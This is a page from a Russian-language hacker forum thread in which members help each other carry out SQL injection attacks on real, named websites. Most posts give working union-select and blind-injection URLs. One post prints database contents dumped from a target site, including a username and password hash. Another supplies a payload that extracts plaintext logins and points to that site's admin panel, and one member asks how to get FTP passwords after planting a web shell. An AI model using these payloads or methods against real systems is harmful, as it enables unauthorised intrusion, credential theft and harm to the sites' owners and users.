Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Кто-нибудь знает как можно обойти mod_rewrite для проведения sql-иньекций? А то он надоел уже, оч часто попадается :D
     
  2. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    вот сайт про медведа......
    там уязвимых переменных много.. но неодну не вышло разкрутить.. толи я спать хочу толи еще чтот )
    кароч. смотрите...


    и еще хотел спросить.... если я залиш шелл. и у меня есть возможность просматривать все что до и после /home , как узнать пароль от ФТП ?
     
    #2782 sabe, 1 Aug 2008
    Last edited: 1 Aug 2008
  3. none222

    none222 Guest

    Reputations:
    0
    +1
     
  4. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    "Кто-нибудь знает как можно обойти mod_rewrite для проведения sql-иньекций? А то он надоел уже, оч часто попадается"
    совет: для начала почитай про mod_rewrite, как он вообще работает и "взаимодействует" со скриптами и тд.
    а ответ: пример, ссыль
    http://www.site.ru/index-edit-3.htm или немного в другом виде http://www.site.ru/index/edit/3
    оригинал урл предположительно выглядит так http://www.site.ru/index.php?action=edit&id=3, вот и проводи инъекцию http://www.site.ru/index-edit-3+group+by+100/*.htm и тд
     
  5. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Если админ не хранит их в текстовике memory.txt :)D), то только надеяца, что пассы от бд или ещё чего-нибудь совпадут с фтп.
     
  6. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Подскажите какие таблицы можно использовать еще, если при таком запросе:

    http://site.ru/index.php?id=-3+union+select+version(),2,3+from+infomation_schema.tables--

    вылазит:

    SELECT command denied to user: 'user@host' for table 'table' ?
     
  7. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Использовать те таблицы, к которым имеет доступ юзер под которым ты подключен к бд ;)
    к INFORMATION_SCHEMA доступа нет пробуй вручную перебирать или посредством скриптов.
     
    1 person likes this.
  8. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    народ подскажите вот с этим
    http://www.irintech.com/x1/blogarchive.php?id=-764+union+select+1,2,3,4,5,6,7,8/*
    вроде полей по order by 8 а так че то ошибку выдает че за х?
    и таких блин куча обьясните раз и на всегда
     
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Объясняю раз и на всегда: :D
    В запросе скорее всего 2 селекта
    почитай это :
    http://forum.antichat.ru/threadnav43966-3-10.html
     
  10. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    я так понял мне надо подзапросы использовать?если да то как это осуществить?
     
  11. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Прочитать про посимвольный перебор, а так же про подзапросы (да и про многое другое) можно здесь: https://forum.antichat.ru/threadnav43966-1-10.html

    Code:
    http://www.irintech.com/x1/blogarchive.php?id=764+and+1=1 - запрос выполняется правильно, результат запроса не меняется
    http://www.irintech.com/x1/blogarchive.php?id=764+and+1=2 - запрос выполняется не правильно, результат запроса меняется
    Таким образом посимвольно выводи нужную тебе информацию (для начала нужно вывести версию, т.к. подзапросы доступны начиная с версии 4.1), только делать это руками не рационально, лучше скриптом или программой:

    Code:
    version(): 4.1.11-Debian_4sarge7
    user(): [email protected]
    database(): db35109_x1
    Т.к. версия БД => 4.1 то использовать подзапросы можно:

    Code:
    http://www.irintech.com/x1/blogarchive.php?id=764+and+(select+1)=1 - это уже пример подзапроса
    Дальше тебе нужно брутить таблицы, могу попробывать если хочешь (т.к. я сейчас занимаюсь тестированием своего скрипта, который как раз работает со слепыми инъекциями), если найдутся какие либо (займет поиск часа 2-3), то добавлю инфу в этот же пост.

    А вот и найденые таблицы:

    Code:
    Имена таблиц взяты из файла: lib_and_data/grey_table_name.txt
    Всего: 1559 имён таблиц
    Найдено таблиц: 2
    admin
    user
    Колонки к таблице admin:

    Code:
    Подбор имён колонок к таблице: admin
    Найдено колонок: 1
    id
    Колонки к таблице user:

    Code:
    Подбор имён колонок к таблице: user
    Найдено колонок: 4
    id
    username
    email
    password
    Жаль что колонки к таблице с админами не сбрутились, надо будет мне состряпать словарь с именами колонок, а то того что юзаю я пока не хватает.

    Вывел данные из таблиц, может пригодится:

    Code:
    Вывод результата запроса: (select id from admin limit 0,1)
    length((select id from admin limit 0,1)): 1
    (select id from admin limit 0,1): 1
    Code:
    Вывод результата запроса: (select concat(id,char(58),email,char(58),username,char(58),password) from user limit 0,1)
    length((select concat(id,char(58),email,char(58),username,char(58),password) from user limit 0,1)): 45
    (select concat(id,char(58),email,char(58),username,char(58),password) from user limit 0,1): 35:jean:jean:3308150413ecf9da841f9a9dd90309ba
     
    #2791 Grey, 2 Aug 2008
    Last edited: 3 Aug 2008
    1 person likes this.
  12. none222

    none222 Guest

    Reputations:
    0
    а хера его обходить. Ведь меняется только текст в урле.
    Вот тебе Яркий пример:

    https://forum.antichat.ru/showthread.php?t=27498
    и
    https://forum.antichat.ru/thread27498.html

    одно и тоже (обязательно прочти статью по этим линкам)

    Единственное, что сложно подбирать правильный урл. Другого способа, отличного от подбора не знаю. Впринципе особо не интересовался. Погугли, может найдёшь что-нить. А если найдёшь, то скинь в личку ссылок =)
     
  13. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    привет. я только учусь =)
    нашол SQL на http://www.aquarell-sts.ru/products/index.php?id=50'
    подобрал количество: http://www.aquarell-sts.ru/products/index.php?id=-1+union+select+1,2,3/* - вот, вроде, 3 =)
    также могу подставить вместо 2 например user(), database(), etc..

    НО пробую так:
    http://www.aquarell-sts.ru/products/index.php?id=50+union+select+1,user(),3+from+mysql.user/*
    в ответ:
    SELECT command denied to user 'a2513_aquarell'@'lbarbero-15.m-10.ru' for table 'user'
    типа команда SELECT для юзера a2513_aquarell ЗАпрещена =(

    что мне делать? =*)
     
  14. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    тебе запрещён селект из таблы юзер .. тк кк версия 4ая - ищи другие таблы ..
     
  15. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    таблици искать перебором?
    http://www.aquarell-sts.ru/products/index.php?id=50+union+select+1,user(),3+from+table/*

    и table перебереть брутом?
     
  16. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    http://www.aquarell-sts.ru/products/index.php?id=-1+union+select+111,222,333+from+users/* подходит =)
     
  17. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Code:
    http://www.aquarell-sts.ru/products/index.php?id=-1+union+select+111,concat(login,0x3a,pwd),333+from+users/*
    Пароли в открытом виде, админка:

    http://www.aquarell-sts.ru/admin/
     
    1 person likes this.
  18. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Ded MustD!e:
    СПАСИБО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    а если не секрет мож мне россказать как ти узнал про login и pwd?
     
  19. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    eLWAux
    он их просто подобрал (угадал).
     
  20. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    http://www.mbc.edu - сайт

    /news/r_detail.asp?id=2087+union+select+1,2,3,4,5,6,7/* - точное кол-во.
    Но вывод куда-то пропал :confused: . Нигде нету.
    Это blind injection ?
     
Thread Status:
Not open for further replies.